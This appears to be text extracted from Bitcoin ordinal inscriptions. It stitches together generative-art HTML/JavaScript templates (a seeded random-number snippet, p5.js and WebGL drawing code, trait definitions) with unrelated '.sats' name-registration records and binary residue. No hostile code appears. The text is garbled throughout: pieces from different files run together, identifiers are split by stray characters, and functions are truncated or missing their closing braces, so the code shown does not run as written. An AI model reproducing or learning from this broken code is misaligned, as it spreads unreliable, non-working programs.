URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + M pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = MathM .imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object // window.$generativeTraits = { // "T1": T1(rand), // console.log(window.$generativeTraits) Add your code here // const container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) Add your code here text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"btc.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"mojito.sats"}h! FjDOUT:E02C72E6E9CE7C4AC70FB5385FB6407CFCC41F2D5B238152A073123BE3D848DA FjDOUT:67A6D7C49BCD8D554113FBC4F727E1A25974850784E9460DA2F7314802B5569E text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11002.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11001.sats"}h! 2023-03-02T14:43:31+00:00? 2023-03-02T14:43:31+00:00N 2023-03-02T14:43:41+00:00 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11003.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11004.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11005.sats"}h! !Powered by Luxor Tech1002 text/html;charset=utf-8 <meta charset="UTF-8"> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 <script sandbox="allow-scripts" type="text/javascript" srM c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM jax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM frame/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM /ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here var colorPalettes = [ ['#fafa6e', '#2A4858'], ['#9C27B0', '#FFEB3B'], ['#00BCD4', '#FF5722'], ['#191970', '#FF69B4', '#228B22', '#FFFF00'], ['#8BC34A', '#3F51B5', '#F44336'], ['#009688', '#FFC107', '#795548'], ['#4CAF50', '#FFC107', '#9C27B0'], ['#00BCD4', '#FFC107', '#9C27B0'], 88', '#FFC107', '#E91E63'], ['#ff0000', '#0000ff', '#00ff00'], ['#ff0000', '#0000ff', '#00ff00'], ['green', 'blue', 'orange', 'green'] var point_count = 700; var pointSpace = 12; var spaceRatio = 0.5; var maxAttempts = 100; var densityRatio = 0.5; var length1 = 10000; var length2 = 10000; [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], 700, 12, 0.95, 0.5, 0.5], [900, 8, 0.95, 0.5, 0.5], [700, 8, 0.78, 0.5, 0.5], [500, 5, 0.85, 0.5, 0.5], [800, 12, 0.9, 0.2, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5] function mathRandSelect(array) { return array[round(mathRand() * (array.length - 1))]; function mathRnd(min, max) { return map(mathRand(), 0, 1, min, max) function resizeCanvasStyle(){ canvas.style("position", "absolute"); the canvas element's width and height properties to scale it canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Set the transform property to move the canvas element to the center of the page canvas.style("transform", "translatM canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Calculate the scale factor based on the window size and the canvas size let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M // Set the transform property to scale the canvas element based on the scale factor canvas.style("transform", `scale(${scaleFactor})`); let urlParams = getURLParams(); if (urlParams.res) { density = round(int(urlParams.res)); noiseSeed(mathRand() * 99999); randomSeed(mathRand() * 99999); canvas = createCanvas(400, 600); canvas.addClass("canvasNewCSS"); resizeCanvasStyle(canvasW,canvasH); pixelDensity(density); angleMode(DEGREES); mathRandSelect(colorPalettes); noiseDetail(8, 0.5); print(colorPalette); colorPalette = chroma.scale(colorPalette).mode('lch').colors(12); field = mathRandSelect(fields); point_count = field[0]; pointSpace = field[1]; offset = field[2]; spaceRatio = field[3]; densityRatio = field[4]; variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8])); var maxAttempts = 1000; for (var i = 0; i < point_count; i++) { var attempts = 0; while (attempts < maxAttempts) { var point_x = mathRnd(width * (1 - offset), width * offset); var point_y = mathRnd(height * (1 - offset), height * offset); var point_r = mathRnd(pointSpace * spaceRatio, pointSpace); var point_l = mathRnd(length1, length2); var point_color = mathRandSelect(colorPalette); var overlapp = false; for (var j = 0; j < i; j++) { if (points[j]) { var x2 = points[j].x; var y2 = points[j].y; var r2 = points[j].r; if (dist(point_x, poM int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) { overlapp = true; if (!overlapp) { append(points, { x: point_x, y: point_y, c: point_color, r: point_r, l: point_l if (attempts >= maxAttempts) { console.warn("Could not place point " + i + " after " + maxAttempts + " attempts."); for (var p = 0; p < points.length;M fill(points[p].c); rectMode(CENTER); translate(points[p].x, points[p].y); rotate(mathRnd(360)); translate(-points[p].x, -points[p].y); for (var i = 0; i < points.length; i++) { if (points[i].l > 0) { let x = points[i].x; let y = points[i].y; let pointColor = points[i].c; let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); let newY = y + mM ap(noise(log(y), log(x)), 0, 1, -space, space / 2); switch (variationMode) { newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space); newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(M x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); let maxR = pointSpace; if (newX > width * (1 - offset) &&M newX < width * offset) { if (newY > height * (1 - offset) && newY < height * offset) { let v1 = createVector(x, y); let v2 = createVector(newX, newY); let angleBetween = v1.angleBetween(v2); rotate(angleBetween / space); strokeWeight(0.7); stroke(pointColor) fill(pointColor); maxR = points[i].r; for (var p = 0; p < i; p++) { maxR = min(maxR, dist(x, y, points[p].x, poM noStroke(); circle(x, y, maxR); points[i].x = newX; points[i].y = newY; points[i].r = maxR; points[i].l--; if (millis()>25000) { Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SM let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + M pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = MathM .imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object // window.$generativeTraits = { // "T1": T1(rand), // console.log(window.$generativeTraits) Add your code here // const container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) Add your code here text/plain;charset=utf-8 text/plain;charset=utf-8 text/html;charset=utf-8 <meta charset="UTF-8"> <title>"Rays" by Pawe Dudko | pdudko.com</title> <script id="snippet-random-code" type="text/javascript"> // not editable let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.lengthM ; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); margin: 0; padding: 0; overflow: hidden; <canvas id="myCanvas"></canvas> <script type="text/jaM console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M ,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M ,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M ","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M ,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M 30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M 5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height); window.$generativeTraits = { "Palette": pFeat, "Noisy": noiseFeat, "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal' console.log(window.$generativeTraits) text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.minM <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern =M for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ M Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >M return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false col = ["#20C2CA", "#16C96E", "#C94434", "#2A6EC9", "#F2C12E", "#F2AE30", "#024959", "#593E25", "#951F4F", "#951F4F", "#FM col2 = ["#FF6580", "#89D9D1", "#8FBABF", "#BFBFBF", "#FEF8B4", "#F23005", "#025159", "#0F3566"] col3 = ["#D92D07", "#333745", "#032CA6", "#F2B705", "#222C40", "#1A0859", "#4146A6", "#1A804D"] col4 = ["#ffffff", "#F2C2E1", "#F2DF80", "#8BD9D9", "#ED83A4", "#BACDD9", "#080A05", "#F20505"] bgcol = ["#F2F7EE", "#EBF2E8", "#F1F2C4", "#CEECF2", "#F2F0CE", "#E9EEE4", "#E6FFFA"] createCanvas(1600,1600); background(random(bgcol)); c = col[Math.floor(mathRandM c2 = col2[Math.floor(mathRand()*col2.length)]; head = Math.floor(mathRand()*6)+1; feets = Math.floor(mathRand()*6)+1; caps = Math.floor(mathRand()*6)+1; 